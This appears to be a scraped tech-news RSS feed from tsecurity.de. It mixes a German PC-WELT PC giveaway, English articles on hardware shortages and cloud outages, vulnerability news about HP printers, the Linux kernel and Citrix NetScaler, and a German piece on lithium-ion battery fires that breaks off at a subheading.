Das Beste ist gerade gut genug fĂŒr unseren Superrechner – das gilt auch fĂŒr die EingabegerĂ€te: Die drahtlose Bluetooth-Tastatur Logitech di Novo Edge besticht nicht nur durch ihr elegantes Design, sondern auch durch die hochwertige Verarbeitung. Über das integrierte Touchpad lassen sich Bildlauf-, Auswahl- und Zeigerfunktionen effizient nutzen.

Logitech di Novo Edge

Logitech

Dazu gesellt sich die Maus Logitech MX Revolution. Die ergonomisch geformte Funk-Maus setzt auf die prĂ€zise Laserabtastung und erlaubt laut Hersteller dank eines Tastenrads aus Leichtmetall besonders schnelle BildlĂ€ufe. Clevere Funktionen wie „One-Touch search“ und „Smartshift“ erleichtern die tĂ€gliche Arbeit.

Einer guten Tradition folgend verlosen wir – wie schon im letzten Jahr – den Porsche unter den PCs. Beteiligen Sie sich an unserer Leserwahl zum PCW3-Award: Wir suchen die beste Hard- und Software des Jahres 2006. Entscheiden Sie, welche Top-Produkte wir mit dem PCW3-Award auszeichnen. Sie nehmen dann automatisch an der Verlosung teil, bei der die Höllenmaschine als 1. Preis ausgesetzt ist. Oder Sie besuchen uns auf der CeBIT 2007 (Halle 6, Stand C12), um den Super-PC in Aktion zu erleben. Dort haben Sie ebenfalls Gelegenheit, an der Verlosung teilzunehmen.
Garantieausschluss: AnsprĂŒche gegen die IDG Magazine Media GmbH wegen Sach- und RechtsmĂ€ngeln an dem PC sowie dem TFT sind ausgeschlossen. Im Übrigen finden die fĂŒr Schenkungen geltenden Vorschriften der §§ 521 bis 524 BGB Anwendung.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern

Gewinnen Sie hier die HMX 6

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natĂŒrlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestĂ€tigen.

]]> <![CDATA[Best Printer for Your Home or Office in 2026: Tested by Our Experts]]> https://tsecurity.de/de/3652788/it-nachrichten/best-printer-for-your-home-or-office-in-2026-tested-by-our-experts/ https://tsecurity.de/de/3652788/it-nachrichten/best-printer-for-your-home-or-office-in-2026-tested-by-our-experts/ Tue, 07 Jul 2026 23:17:54 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Preparing for infrastructure constraints, from memory shortages to power limits]]> https://tsecurity.de/de/3651773/it-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/ https://tsecurity.de/de/3651773/it-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/ Tue, 07 Jul 2026 16:04:24 +0200 📰 IT Nachrichten tsecurity.de


Historically, infrastructure planning followed a predictable script. CIOs balanced budgets, refresh cycles and procurement approvals and when demand spiked, the solution was straightforward — find the funding and scale up. The only real constraint was budget.

Today, the biggest constraints aren’t sitting in spreadsheets; they’re rooted in physical reality. High-bandwidth memory is in short supply. Key server components are harder to secure. Power availability is tightening and cooling capacity is becoming a seriously limiting factor. In many cases, the question is no longer “can we afford it?” but “can we get it at all?”

The surge in AI workloads and the relentless expansion of hyperscale data centers have accelerated this shift. Supply chains that once comfortably met enterprise demand are now stretched thin as hyperscalers vacuum up GPUs, memory and large amounts of energy capacity. What used to be a stable, predictable ecosystem has become challenging territory.

For CIOs, this is forcing a serious rethink. Procurement strategies can no longer assume availability. Refresh cycles are being reconsidered. Even long-held assumptions about where infrastructure should live are being questioned. Perhaps most critically, the constraint is no longer just financial. Increasingly, organizations with approved budgets still find themselves waiting, sometimes months longer than planned, for the infrastructure they need to move forward.

In this new environment, planning isn’t just about spending wisely. It’s about securing access in a world where supply is uncertain.

The new infrastructure bottleneck

Over the past year, much of the conversation has centred on GPU shortages driven by surging AI demand. But the pressure is no longer confined to accelerators; it is spreading across nearly every major infrastructure component. High-bandwidth memory, DIMMs, storage systems, power supplies and even motherboard components are all increasingly subject to allocation constraints. This isn’t creating a temporary imbalance; it’s causing a structural shift.

Previously, semiconductor manufacturers distributed production across a broad mix of markets, from consumer devices to enterprise systems and laptops. AI has disrupted that model. Manufacturing capacity is being pulled toward hyperscale and AI-driven deployments at an unprecedented rate, leaving enterprise buyers competing for a shrinking pool of available supply. For CIOs, the consequences are becoming hard to ignore.

Many organizations are now seeing server costs rise far beyond initial forecasts. While OEM list prices have increased by around 15% to 20%, sharp price spikes in memory and other critical components, in some cases exceeding 50%, are pushing total system costs significantly higher.

Lead times that once stretched a few weeks are now measured in months and in some cases, close to a year. Even the procurement process itself is under strain, with suppliers reportedly holding quotes for as little as 72 hours as they grapple with volatile pricing and uncertain availability. For enterprises used to multi-week internal approval cycles, this creates a new kind of operational friction.

And the disruption doesn’t stop in the data center. As high-performance memory is prioritised for AI workloads, pricing pressure is beginning to ripple into laptops and endpoint devices. Some organizations are revisiting older technologies such as tape backups to bridge capacity gaps while waiting for delayed infrastructure. The result is unexpected strain in markets that were, until recently, stable and predictable.

This leaves many CIOs balancing difficult trade-offs. With fixed budgets, some organizations are simply buying less than planned. Others are delaying projects altogether, waiting for supply to catch up. In response, infrastructure lifecycle strategies are shifting.

Systems that were once refreshed every three to five years are being kept in service for five years or more, with some organizations extending lifecycles to six or even seven years as cost pressures and supply constraints reshape infrastructure strategies. As a result, third-party maintenance providers and pre-owned hardware markets are playing a bigger role, offering a way to extend the life of existing assets while reducing exposure to procurement delays.

In many respects, sustainability goals and operational necessity are beginning to align. Extending infrastructure lifecycles can reduce electronic waste and capital expenditure but it also requires new approaches to maintenance, reliability and performance management. What was once a straightforward refresh decision is now a far more strategic calculation.

The physics problem — power, cooling and data center limits

Supply chain disruption is only part of the challenge. Beneath it lies an even more fundamental constraint — physics.

Modern AI systems require dramatically higher compute density than traditional enterprise workloads. This creates a corresponding increase in power consumption and thermal output, fundamentally changing the design of the modern data center. For decades, many enterprise environments were designed around racks consuming roughly 3kW per cabinet. Today, 50kW racks are becoming increasingly common in AI and high-performance computing environments. Some next-generation GPU deployments are already pushing toward 150kW per rack. That shift changes everything.

Cooling infrastructure designed for traditional enterprise environments is often incapable of handling these thermal loads. As a result, liquid cooling, once considered highly specialised, is rapidly becoming a necessity for many high-density deployments. But cooling is only one part of the equation. The larger issue is power availability itself.

In many regions, hyperscalers have already secured large portions of future energy capacity to support AI expansion. This is creating downstream constraints not only for enterprise data centers but for broader regional infrastructure planning. Utility providers in some markets are quoting five- to seven-year timelines for major power upgrades, meaning organizations can no longer assume they can simply request additional megawatts when needed.

As a result, location strategy is changing. Historically, data center placement often prioritised connectivity, climate and real estate economics, but now, the deciding factor is often simply whether power is available. This shift is driving infrastructure expansion into regions that were not previously considered major data center hubs.

Water availability is emerging as another critical issue. Many advanced cooling systems require significant water resources, creating tension between data center growth and sustainability concerns. In some cases, local governments are already scrutinising or limiting expansion because of environmental impact. These dynamics are exposing limitations in how the industry measures efficiency.

Power Usage Effectiveness (PUE) remains one of the most widely used metrics for evaluating data center performance, but it does not always capture overall compute efficiency. A facility may improve its PUE score by operating at higher temperatures, for example, while simultaneously reducing server performance through thermal throttling.

That raises a contentious question for CIOs and infrastructure leaders — should efficiency be measured purely by power consumption, or by the amount of productive compute delivered per watt? As AI workloads scale, that distinction will become increasingly important.

How CIOs should respond to long-term infrastructure constraints

The most important takeaway for enterprise leaders is that these constraints are unlikely to disappear any time soon. Current market conditions suggest that supply pressure, power limitations and infrastructure volatility could continue well into 2027. This means CIOs need to shift from short-term mitigation towards long-term resilience planning.

That starts with reassessing infrastructure lifecycle assumptions. Extending hardware longevity will become increasingly common, but doing so successfully requires stronger maintenance strategies, better monitoring and more disciplined asset management. Organizations may also need to diversify sourcing models, incorporating refurbished systems, third-party support and hybrid deployment strategies to reduce dependence on constrained supply chains. Capacity planning must also become more dynamic. Traditional procurement cycles based on predictable refresh schedules may no longer be sufficient in an environment defined by fluctuating availability and pricing.

CIOs will need to collaborate more closely with facilities, operations and sustainability teams. Infrastructure decisions can no longer be isolated within IT departments when power, cooling and water availability directly affect deployment feasibility. Most importantly, organizations may need to rethink what infrastructure optimization means.

For years, the industry prioritised maximum performance and rapid refresh cycles. The next phase will require balancing performance against availability, efficiency and long-term sustainability.

The AI era is introducing extraordinary opportunities for innovation, but it is also exposing the physical limits of the infrastructure ecosystem supporting it. The organizations that adapt most effectively will be those that recognise infrastructure resilience is no longer just a procurement issue; it is a strategic operational capability.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Are you ready for what it takes to stop ghost guns?]]> https://tsecurity.de/de/3651320/it-nachrichten/are-you-ready-for-what-it-takes-to-stop-ghost-guns/ https://tsecurity.de/de/3651320/it-nachrichten/are-you-ready-for-what-it-takes-to-stop-ghost-guns/ Tue, 07 Jul 2026 13:18:35 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[HP DeskJet 2800 printer zero-day flaw leaks Wi-Fi credentials]]> https://tsecurity.de/de/3651170/it-security-nachrichten/hp-deskjet-2800-printer-zero-day-flaw-leaks-wi-fi-credentials/ https://tsecurity.de/de/3651170/it-security-nachrichten/hp-deskjet-2800-printer-zero-day-flaw-leaks-wi-fi-credentials/ Tue, 07 Jul 2026 12:24:21 +0200 📰 IT Security Nachrichten tsecurity.de HP DeskJet 2800 series printers are affected by a newly disclosed vulnerability that allows anyone on the same network to access sensitive configuration data without authentication. The flaw, tracked as CVE-2026-13753, affects devices running firmware version TBP1CN2612AR or earlier, and no security update is currently available. The vulnerability was disclosed by the CERT Coordination Center 


The post HP DeskJet 2800 printer zero-day flaw leaks Wi-Fi credentials appeared first on CyberInsider.

]]> <![CDATA[Preparing for infrastructure constraints — from memory shortages to power limits]]> https://tsecurity.de/de/3651105/it-security-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/ https://tsecurity.de/de/3651105/it-security-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/ Tue, 07 Jul 2026 12:08:36 +0200 📰 IT Security Nachrichten tsecurity.de

Historically, infrastructure planning followed a predictable script. CIOs balanced budgets, refresh cycles and procurement approvals and when demand spiked, the solution was straightforward — find the funding and scale up. The only real constraint was budget.

Today, the biggest constraints aren’t sitting in spreadsheets; they’re rooted in physical reality. High-bandwidth memory is in short supply. Key server components are harder to secure. Power availability is tightening and cooling capacity is becoming a seriously limiting factor. In many cases, the question is no longer “can we afford it?” but “can we get it at all?”

The surge in AI workloads and the relentless expansion of hyperscale data centers have accelerated this shift. Supply chains that once comfortably met enterprise demand are now stretched thin as hyperscalers vacuum up GPUs, memory and large amounts of energy capacity. What used to be a stable, predictable ecosystem has become challenging territory.

For CIOs, this is forcing a serious rethink. Procurement strategies can no longer assume availability. Refresh cycles are being reconsidered. Even long-held assumptions about where infrastructure should live are being questioned. Perhaps most critically, the constraint is no longer just financial. Increasingly, organisations with approved budgets still find themselves waiting, sometimes months longer than planned, for the infrastructure they need to move forward.

In this new environment, planning isn’t just about spending wisely. It’s about securing access in a world where supply is uncertain.

The new infrastructure bottleneck

Over the past year, much of the conversation has centred on GPU shortages driven by surging AI demand. But the pressure is no longer confined to accelerators; it is spreading across nearly every major infrastructure component. High-bandwidth memory, DIMMs, storage systems, power supplies and even motherboard components are all increasingly subject to allocation constraints. This isn’t creating a temporary imbalance; it’s causing a structural shift.

Previously, semiconductor manufacturers distributed production across a broad mix of markets, from consumer devices to enterprise systems and laptops. AI has disrupted that model. Manufacturing capacity is being pulled toward hyperscale and AI-driven deployments at an unprecedented rate, leaving enterprise buyers competing for a shrinking pool of available supply. For CIOs, the consequences are becoming hard to ignore.

Many organisations are now seeing server costs rise far beyond initial forecasts. While OEM list prices have increased by around 15% to 20%, sharp price spikes in memory and other critical components, in some cases exceeding 50%, are pushing total system costs significantly higher.

Lead times that once stretched a few weeks are now measured in months and, in some cases, close to a year. Even the procurement process itself is under strain, with suppliers reportedly holding quotes for as little as 72 hours as they grapple with volatile pricing and uncertain availability. For enterprises used to multi-week internal approval cycles, this creates a new kind of operational friction.

And the disruption doesn’t stop in the data center. As high-performance memory is prioritised for AI workloads, pricing pressure is beginning to ripple into laptops and endpoint devices. Some organisations are revisiting older technologies such as tape backups to bridge capacity gaps while waiting for delayed infrastructure. The result is unexpected strain in markets that were, until recently, stable and predictable.

This leaves many CIOs balancing difficult trade-offs. With fixed budgets, some organisations are simply buying less than planned. Others are delaying projects altogether, waiting for supply to catch up. In response, infrastructure lifecycle strategies are shifting.

Systems that were once refreshed every three to five years are being kept in service for five years or more, with some organisations extending lifecycles to six or even seven years as cost pressures and supply constraints reshape infrastructure strategies. As a result, third-party maintenance providers and pre-owned hardware markets are playing a bigger role, offering a way to extend the life of existing assets while reducing exposure to procurement delays.

In many respects, sustainability goals and operational necessity are beginning to align. Extending infrastructure lifecycles can reduce electronic waste and capital expenditure but it also requires new approaches to maintenance, reliability and performance management. What was once a straightforward refresh decision is now a far more strategic calculation.

The physics problem — power, cooling and data center limits

Supply chain disruption is only part of the challenge. Beneath it lies an even more fundamental constraint — physics.

Modern AI systems require dramatically higher compute density than traditional enterprise workloads. This creates a corresponding increase in power consumption and thermal output, fundamentally changing the design of the modern data center. For decades, many enterprise environments were designed around racks consuming roughly 3kW per cabinet. Today, 50kW racks are becoming increasingly common in AI and high-performance computing environments. Some next-generation GPU deployments are already pushing toward 150kW per rack. That shift changes everything.

Cooling infrastructure designed for traditional enterprise environments is often incapable of handling these thermal loads. As a result, liquid cooling, once considered highly specialised, is rapidly becoming a necessity for many high-density deployments. But cooling is only one part of the equation. The larger issue is power availability itself.

In many regions, hyperscalers have already secured large portions of future energy capacity to support AI expansion. This is creating downstream constraints not only for enterprise data centers but for broader regional infrastructure planning. Utility providers in some markets are quoting five-to seven-year timelines for major power upgrades, meaning organisations can no longer assume they can simply request additional megawatts when needed.

As a result, location strategy is changing. Historically, data center placement often prioritised connectivity, climate and real estate economics but now, the deciding factor is often simply whether power is available. This shift is driving infrastructure expansion into regions that were not previously considered major data center hubs.

Water availability is emerging as another critical issue. Many advanced cooling systems require significant water resources, creating tension between data center growth and sustainability concerns. In some cases, local governments are already scrutinising or limiting expansion because of environmental impact. These dynamics are exposing limitations in how the industry measures efficiency.

Power Usage Effectiveness (PUE) remains one of the most widely used metrics for evaluating data center performance, but it does not always capture overall compute efficiency. A facility may improve its PUE score by operating at higher temperatures, for example, while simultaneously reducing server performance through thermal throttling.

That raises a contentious question for CIOs and infrastructure leaders — should efficiency be measured purely by power consumption, or by the amount of productive compute delivered per watt? As AI workloads scale, that distinction will become increasingly important.

How CIOs should respond to long-term infrastructure constraints

The most important takeaway for enterprise leaders is that these constraints are unlikely to disappear any time soon. Current market conditions suggest that supply pressure, power limitations and infrastructure volatility could continue well into 2027. This means CIOs need to shift from short-term mitigation towards long-term resilience planning.

That starts with reassessing infrastructure lifecycle assumptions. Extending hardware longevity will become increasingly common, but doing so successfully requires stronger maintenance strategies, better monitoring and more disciplined asset management. Organisations may also need to diversify sourcing models, incorporating refurbished systems, third-party support and hybrid deployment strategies to reduce dependence on constrained supply chains. Capacity planning must also become more dynamic. Traditional procurement cycles based on predictable refresh schedules may no longer be sufficient in an environment defined by fluctuating availability and pricing.

CIOs will need to collaborate more closely with facilities, operations and sustainability teams. Infrastructure decisions can no longer be isolated within IT departments when power, cooling and water availability directly affect deployment feasibility. Most importantly, organisations may need to rethink what infrastructure optimisation means.

For years, the industry prioritised maximum performance and rapid refresh cycles. The next phase will require balancing performance against availability, efficiency and long-term sustainability.

The AI era is introducing extraordinary opportunities for innovation, but it is also exposing the physical limits of the infrastructure ecosystem supporting it. The organisations that adapt most effectively will be those that recognise infrastructure resilience is no longer just a procurement issue; it is a strategic operational capability.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Europe's new import rules are coming for your bargains]]> https://tsecurity.de/de/3649232/it-nachrichten/europes-new-import-rules-are-coming-for-your-bargains/ https://tsecurity.de/de/3649232/it-nachrichten/europes-new-import-rules-are-coming-for-your-bargains/ Mon, 06 Jul 2026 17:34:18 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CVE-2023-54298 | Linux Kernel up to 6.2.4 thermal alloc_soc_dts null pointer dereference (Nessus ID 281479 / WID-SEC-2025-2941)]]> https://tsecurity.de/de/3648328/sicherheitsluecken/cve-2023-54298-linux-kernel-up-to-624-thermal-allocsocdts-null-pointer-dereference-nessus-id-281479-wid-sec-2025-2941/ https://tsecurity.de/de/3648328/sicherheitsluecken/cve-2023-54298-linux-kernel-up-to-624-thermal-allocsocdts-null-pointer-dereference-nessus-id-281479-wid-sec-2025-2941/ Mon, 06 Jul 2026 11:37:07 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical, has been found in Linux Kernel up to 6.2.4. Affected is the function alloc_soc_dts of the component thermal. The manipulation leads to null pointer dereference. This vulnerability is listed as CVE-2023-54298. The attack must be carried out from within the local network. There is no available exploit. It is advisable to upgrade the affected component.]]> <![CDATA[USN-8507-1: Linux kernel (NVIDIA) vulnerabilities]]> https://tsecurity.de/de/3648226/unix-server/usn-8507-1-linux-kernel-nvidia-vulnerabilities/ https://tsecurity.de/de/3648226/unix-server/usn-8507-1-linux-kernel-nvidia-vulnerabilities/ Mon, 06 Jul 2026 11:02:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[EV Batteries Defy Expectations, Last Hundreds of Thousands of Miles]]> https://tsecurity.de/de/3646727/it-security-nachrichten/ev-batteries-defy-expectations-last-hundreds-of-thousands-of-miles/ https://tsecurity.de/de/3646727/it-security-nachrichten/ev-batteries-defy-expectations-last-hundreds-of-thousands-of-miles/ Sun, 05 Jul 2026 14:53:26 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Linux Printer Setup: Ubuntu, Fedora, and Arch Complete Guide]]> https://tsecurity.de/de/3644199/linux-tipps/linux-printer-setup-ubuntu-fedora-and-arch-complete-guide/ https://tsecurity.de/de/3644199/linux-tipps/linux-printer-setup-ubuntu-fedora-and-arch-complete-guide/ Fri, 03 Jul 2026 20:09:49 +0200 🐧 Linux Tipps tsecurity.de <![CDATA[Longsoon-CPU: Chinesische Drucker ganz ohne auslĂ€ndische Technik]]> https://tsecurity.de/de/3643940/it-security-nachrichten/longsoon-cpu-chinesische-drucker-ganz-ohne-auslaendische-technik/ https://tsecurity.de/de/3643940/it-security-nachrichten/longsoon-cpu-chinesische-drucker-ganz-ohne-auslaendische-technik/ Fri, 03 Jul 2026 18:26:34 +0200 📰 IT Security Nachrichten tsecurity.de China, Drucker, printer, Deli Der chinesische Druckerhersteller Deli hat erstmals GerĂ€te vorgestellt, die vollstĂ€ndig ohne die Verwendung von Technologien aus westlichen LĂ€ndern auskommen. Möglich wird dies unter anderem, weil man eine chinesische Longsoon-CPU verbaut. (Weiter lesen)]]> <![CDATA[New CitrixBleed-like NetScaler flaw sees exploit attempts in the wild]]> https://tsecurity.de/de/3643441/it-security-nachrichten/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild/ https://tsecurity.de/de/3643441/it-security-nachrichten/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild/ Fri, 03 Jul 2026 13:53:51 +0200 📰 IT Security Nachrichten tsecurity.de

Citrix NetScaler appliances have been a constant target for attackers in recent years, most recently through an information leak vulnerability dubbed CitrixBleed 3, the latest in a series of NetScaler memory overreads going back to 2023. This week, Citrix patched yet another CitrixBleed-like vulnerability and there are signs of in-the-wild exploitation already.

The new memory overread vulnerability, tracked as CVE-2026-8451, was found by researchers from security firm watchTowr who published a detailed write-up showing how unauthenticated malformed requests can result in protected process memory data being leaked back in responses.

The original CitrixBleed (CVE-2023-4966), CitrixBleed 2 (CVE-2025–5777), and CitrixBleed 3 (CVE-2026-3055) vulnerabilities were all rated critical because they could be used to leak session tokens and other credentials stored in memory. The new CVE-2026-8451 can only be used to leak much smaller amounts of data which do not appear to include session IDs. For this reason, Citrix gave it a CVSS score of 8.8 (high severity).

For exploitation to be possible, the NetScaler appliance needs to be configured as a SAML Identity Provider, but this was also the case for CitrixBleed 3, which was patched in March and was subsequently exploited in the wild.

So, this requirement doesn’t mean attacks are unlikely or that this configuration is uncommon. In fact, less than 24 hours after the Citirix patch, security firm Lupovis reported seeing exploitation attempts hitting its honeypot sensors.

“Three separate sensors were targeted within a five-hour window,” the company said. “The actor received a 200 response on the third sensor and immediately delivered the exploit payload.”

Smaller leak but still dangerous

Even though watchTowr was only able to leak bytes of data using this flaw, compared to kilobytes with previous CitrixBleed issues, the exposed information could still be useful to attackers.

While the proof-of-concept did not reveal credentials or tokens, it’s possible that repeated requests would eventually be able to leak something sensitive. At the very least, the leaks can expose process memory pointers that could allow attackers to more easily deliver payloads using memory write vulnerabilities such as buffer overflows.

By overwriting data in a memory location that normally contains code the process executes, attackers could bypass anti-exploitation defenses like ASLR to take full control of the device.

As part of this same patch cycle Citrix also addressed two high-severity memory overflow vulnerabilities, tracked as CVE-2026-8452 and CVE-2026-8655. Chaining exploits for different vulnerabilities is a common approach in modern attacks.

The company also patched an unauthenticated arbitrary file read (CVE-2026-10816), another out-of-bounds memory overread (CVE-2026-10817) and a denial-of-service issue exploitable through HTTP/2 requests (CVE-2026-13474). The latter is actually a NetScaler-specific instance of the HTTP/2 Bomb vulnerability (CVE-2026-49975) patched recently in Apache Web Server.

Mitigation

Citrix advises customers to upgrade their NetScaler ADC and NetScaler Gateway appliances to versions 14.1-72.61, 14.1-72.61 FIPS, 13.1-63.18, 13.1-FIPS and 13.1-NDcPP 13.1.37.272. The HTTP/2 Bomb vulnerability also requires configuration changes in addition to the patches.

These changes are described in the Citrix advisory along with methods to determine if appliances meet the configuration pre-conditions for exploitation for the other flaws. WatchTowr also published a Python detection script for the CVE-2026-8451 vulnerability that allows organizations to quickly test if their appliances are susceptible to the exploit.

]]> <![CDATA[Fine firms for data breaches, Hong Kong cybersecurity experts urge]]> https://tsecurity.de/de/3643440/it-security-nachrichten/fine-firms-for-data-breaches-hong-kong-cybersecurity-experts-urge/ https://tsecurity.de/de/3643440/it-security-nachrichten/fine-firms-for-data-breaches-hong-kong-cybersecurity-experts-urge/ Fri, 03 Jul 2026 13:53:49 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Xerox C255a review: I much prefer Xerox’s reboot of Lexmark’s laser printer]]> https://tsecurity.de/de/3643406/it-nachrichten/xerox-c255a-review-i-much-prefer-xeroxs-reboot-of-lexmarks-laser-printer/ https://tsecurity.de/de/3643406/it-nachrichten/xerox-c255a-review-i-much-prefer-xeroxs-reboot-of-lexmarks-laser-printer/ Fri, 03 Jul 2026 13:32:38 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Don’t waste your next cloud outage]]> https://tsecurity.de/de/3643145/ai-nachrichten/dont-waste-your-next-cloud-outage/ https://tsecurity.de/de/3643145/ai-nachrichten/dont-waste-your-next-cloud-outage/ Fri, 03 Jul 2026 11:33:41 +0200 🔧 AI Nachrichten tsecurity.de

In the past year, cloud outages have exposed a hard truth about the modern digital economy: A disruption at one hyperscaler can quickly spread far beyond a single vendor’s platform. Failures in cloud control planes, identity systems, storage layers, and core regions have disrupted business operations, developer workflows, and consumer services worldwide. From Google Cloud’s internetwide disruption to repeated outages at AWS and Microsoft Azure, the pattern is now impossible to ignore. As organizations deepen their dependence on a small number of providers, resilience, redundancy, and contingency planning are becoming strategic necessities rather than purely technical concerns. Just consider this list of recent sizeable outages in the past year alone:

  • Google Cloud, June 12, 2025: Google Cloud suffered a major outage that disrupted its own services and rippled across the internet, affecting platforms including Spotify and other downstream applications.
  • AWS, October 20, 2025: AWS experienced a significant outage linked to a network health monitor issue, disrupting businesses worldwide and, once again, underscoring the concentration risk surrounding its US-East-1 region.
  • Microsoft Azure, October 29, 2025: Azure’s global outage generated more than 18,000 user reports at its peak. It was tied to a configuration change in Azure Front Door’s global control plane.
  • Microsoft Azure, February 2–3, 2026: Azure endured another major outage lasting more than 10 hours after a misconfiguration in Microsoft-managed storage accounts triggered cascading failures across virtual machine operations and managed identities.
  • AWS, May 2026: AWS was hit by a serious US-East-1 outage caused by a thermal event and power loss at a Virginia data center, impairing core services including EC2 and EBS.

What once seemed exceptional is now a regular occurrence that organizations must accept as part of doing business in the cloud. This normalization of infrastructure-layer failures should concern every technology leader who has been told that the cloud is the reliable, enterprise-grade foundation for their digital transformation initiatives.

A staggering financial impact

The financial impact of these outages on enterprises is substantial and often underestimated. When a cloud platform goes down, companies lose revenue in direct proportion to the outage’s duration and their reliance on the affected services. For large enterprises processing millions of transactions per hour, even a two-hour outage can cost tens of millions of dollars in lost revenue. Beyond direct losses, there are reputational damages, customer churn, and the operational costs of incident response and recovery.

When your e-commerce platform goes down during a peak shopping period, you don’t just lose the sales from that two-hour window. You lose customer trust that extends well beyond the outage itself. When your enterprise collaboration tools become unavailable, productivity grinds to a halt across your entire organization. When your data processing pipeline stalls, downstream analytical capabilities that drive critical business decisions are delayed or entirely compromised. The true cost of a cloud outage extends far beyond the immediate period of unavailability.

SLAs don’t help much

Many enterprise tech leaders are frustrated by their limited recourse during outages. Cloud service-level agreements (SLAs) often offer service credits that are far below actual damages. These agreements also usually absolve providers of responsibility for indirect or consequential damages, subject to a cap that rarely reflects the true cost of an outage.

In essence, enterprises are being asked to trust platforms they don’t control with business-critical operations, while accepting terms that provide minimal protection when things go wrong. This fundamentally imbalanced relationship favors the provider at the customer’s expense.

Resilient architecture

This situation demands a fundamental shift in how enterprises approach cloud architecture and infrastructure planning. The days of simply migrating everything to a single hyperscaler and assuming reliability will follow are over. Organizations need to deliberately build resilience into their platforms by embracing architectural approaches that reduce dependence on any single provider or service.

A hybrid architecture that combines cloud-based and on-premises infrastructure enables organizations to shift workloads during outages while maintaining control of critical systems. Similarly, a multicloud strategy that distributes applications and data across multiple providers reduces the blast radius of any single provider’s failure. These approaches, without question, introduce complexity and require more sophisticated management tools and operational expertise. However, the alternative—accepting that your business continuity depends entirely on the reliability of platforms you cannot control—is increasingly untenable.

The challenge is that achieving resilience through heterogeneity introduces management complexity that many organizations are not prepared to handle. Using multiple cloud providers and on-premises infrastructure requires learning different operational models, maintaining diverse skill sets, and managing different tools across your environment. Licensing costs, integration efforts, and ongoing operational overhead are significant.

However, the organizations that invest in this complexity will be better positioned to maintain business continuity when the next major cloud failure inevitably occurs. The question is not whether you can afford to invest in resilience, but whether you can afford not to.

Three things to do now

The practical reality is that organizations cannot simply wait for cloud providers to solve this problem. The economics of the industry make it unlikely that service-level agreements will become significantly more favorable to customers. The complexity of modern cloud infrastructure means that outages will continue to occur regardless of the investments providers make in reliability. Therefore, enterprises must take responsibility for their own resilience.

Here are the three things enterprises should be doing right now:

First, enterprises should conduct a comprehensive audit of their cloud dependencies to identify single points of failure across their architecture. This means mapping every application, data store, and integration point to determine exactly what would happen if a specific cloud service went offline. Most organizations discover they have far more dependencies on a single provider than they realized, and many of those dependencies are undocumented. An audit will serve as the foundation for a deliberate resilience strategy that prioritizes redundancy for the most critical systems. 

Second, enterprises should implement a hybrid architecture that incorporates on-premises infrastructure for their most critical workloads. Mission-critical systems must have an alternative path to operation when cloud services fail. The key is to identify which systems truly require this level of protection and which can tolerate cloud-only deployment. A phased approach that starts with the most sensitive workloads and expands over time allows organizations to build expertise with hybrid systems and refine their processes as they go.

Third, enterprises must establish formal disaster-recovery testing procedures that specifically target cloud provider outages rather than traditional site failures. Most organizations test their disaster recovery capabilities against scenarios such as a data center failure or a natural disaster, but they rarely test what happens when a cloud API becomes unresponsive or a cloud region goes dark. Regular testing of these scenarios will expose gaps in the architecture that might otherwise remain hidden until an actual outage occurs.

Here’s the bottom line: Don’t put all your eggs in a single basket. Accept that cloud platforms will continue to fail, and plan your architecture accordingly. The investment in resilience will pay for itself the next time your primary cloud provider experiences an outage. Your competitors will be scrambling while your business continues to operate.

]]> <![CDATA[Tickende Bombe in der Schublade: Wie gefĂ€hrlich sind alte Akkus? Das sagt die Feuerwehr!]]> https://tsecurity.de/de/3643020/it-nachrichten/tickende-bombe-in-der-schublade-wie-gefaehrlich-sind-alte-akkus-das-sagt-die-feuerwehr/ https://tsecurity.de/de/3643020/it-nachrichten/tickende-bombe-in-der-schublade-wie-gefaehrlich-sind-alte-akkus-das-sagt-die-feuerwehr/ Fri, 03 Jul 2026 10:33:14 +0200 📰 IT Nachrichten tsecurity.de

Beim Institut fĂŒr SchadenverhĂŒtung (IFS) werden BrĂ€nde durch Lithium-Ionen-Akkus inzwischen als eigenes Schadenbild erfasst – mit steigenden Fallzahlen. Gleichzeitig lagern in deutschen Haushalten Millionen Smartphones, Tablets, Spielzeuge oder Werkzeuge aus den ersten Jahren des Smartphone-Booms.

Viele dieser GerÀte verschwinden nach ihrer aktiven Nutzung nicht im Recycling, sondern bleiben jahrelang in Schubladen, Kellern oder auf Dachböden liegen. Doch welche Gefahr geht von diesen gealterten Akkus tatsÀchlich aus?

Wir wollten wissen, wie die Feuerwehr das Risiko einschĂ€tzt. DafĂŒr haben wir mit einem Experten gesprochen, der sich beruflich intensiv mit solchen Gefahren beschĂ€ftigt: Christian Emrich, Amtsleiter des Amtes fĂŒr Brand- und Katastrophenschutz Freiburg und Leiter der bundesweiten Arbeitsgruppe „Li-Ionen-Speichermedien“.

Im exklusiven PC-WELT-Interview erklÀrt er, warum alte Handys zu den unterschÀtzten Gefahrenquellen des Alltags gehören und wie man im Ernstfall richtig reagiert. Um seine Warnungen einzuordnen, lohnt sich zunÀchst ein kurzer Blick ins physikalische Innenleben eines Lithium-Ionen-Akkus.

Chemie gegen die Zeit: Warum Akkus manchmal durchgehen

